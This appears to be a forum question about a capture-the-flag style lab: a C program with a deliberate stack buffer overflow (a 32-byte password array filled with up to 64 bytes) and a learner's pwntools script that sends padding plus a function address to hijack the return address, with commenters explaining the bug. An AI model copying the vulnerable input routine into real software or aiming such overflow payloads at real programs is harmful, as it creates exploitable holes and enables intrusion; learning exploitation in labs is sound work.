2

Consider the following simple C program that asks the user for to input their user name and password in order to get access to some website. (The correct username is supposed to be "admin" and the password is a secret random number.) The compiler flag looks like this:

gcc -o main.elf main.c -static -ggdb -O0 -fno-stack-protector

My task is to find obtain the flag contained in the file "flag.txt", which we are supposed to do by callin the function "showFlag" via a buffer overflow attack. (We can use the symbold method of the elf class from pwntools in Python to find the address of "showFlag" in the binary.)

However, I do not see how to trigger a buffer overflow here. I think that the parts

char password[040]; (which implies 32 bit length)

readInput(password, 0x40); (which implies 64 bit length)

is the bottlehead. However, when I enter some arbitrarily long text for the password to trigger some buffer overflow and I do not know why. (I wrote a small Python script for this, see below.)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


void showFlag()
{
  FILE *file;
  char c = 0;
  file = fopen("flag.txt", "r");

  if (file)
  {
    c = fgetc(file);

    while (c != EOF)
    {
      printf("%c", c);
      c = fgetc(file);
    }

    printf("\n");
    fflush(stdout);
  }

  fclose(file);
}


void readInput(char *target_buffer, int size)
{
  int c;
  int i = 0;

  while ((c = getchar()) != '\n' && c != EOF)
  {
    if (i < size)
    {
      target_buffer[i] = (char)c;
      i++;
    }
  }

  target_buffer[size - 1] = '\0';
}


int main()
{
  char username[010];
  char password[040];

  // Generate seed using current time
  time_t seed = time(NULL);

  if (seed == ((time_t)-1))  // Check for error in time()
  {
    puts("Error in retrieving current time");
    exit(2);
  }

  srand((unsigned int)seed);
  unsigned int secret_number = rand() % 19483;

  puts("Username:");
  readInput(username, 010);

  puts("Password:");
  readInput(password, 0x40);

  if (!strncmp(username, "admin", 5) && secret_number == 0xDEADBEFE)
  {
    puts("You got the secret number right!");
    return 0;
  }
  else
  {
    puts("Your login credentials were false.");
    exit(0);
  }

  return 0;
}

My Python Script:

from pwn import *

# Define the ELF binary
elf = ELF('./main.elf')
win_address = elf.symbols['win']
print("Address = ", win_address)

elf = process('./main.elf')
offset = 40
payload = b'A' * offset
payload += p64(win_address)

elf.recvuntil("Username:")
elf.sendline("admin")  # username is admin

elf.recvuntil("Password:")
elf.sendline(payload)  #  sending payload

elf.interactive()
elf.close()

What I get from running my script.

EDIT: I tried to model my approach on this video. To clarify: I thought that entering some long random text when prompted for the password (or username) would trigger some segfault which I could then use to write the hex address of the showFlag function on the return address of the stack to trigger showFlag (as shown in the video). However, I do not even get a segfault...

7
  • 3
    The password array is 32 bytes(!) long (octal 040), but readInput is writing 64 bytes (hexadecimal 0x40) to it. That’s the intentional bug causing a buffer overflow vulnerability. Now you need to work out how to overwrite the return address of the main function on the call stack with the address of showFlag. For that, you have understand the basic layout of the call stack and how to use a debugger like gdb. If you don’t, then that’s what you should learn first.
    – Ja1024
    Commented Dec 11 at 6:46
  • 1
    Ir'a hars ro imagine a current compiler not giving you a warning for an array with the size specified in octal. This is an absolute misfeature of the C language. And you see why they tell you to avoid "magical constants". Also what normally happens is that someone uses a 34 character password, the app crashes, and five minutes later the bug is fixed.
    – gnasher729
    Commented Dec 11 at 9:00
  • 2
    What were you hoping would happen with your script? What would success look like?
    – schroeder
    Commented Dec 11 at 9:10
  • @schroeder: I made an edit to clarify.
    – 3nondatur
    Commented Dec 11 at 13:37
  • 2
    @3nondatur: You're only writing 16 bytes past the buffer (for some reason). There's no guarantee this will trigger a segfault. Like I said, you need to actually inspect the stack with a debugger and find out where the local variable for the array and the return address are located.
    – Ja1024
    Commented Dec 11 at 14:24

0

You must log in to answer this question.

Browse other questions tagged .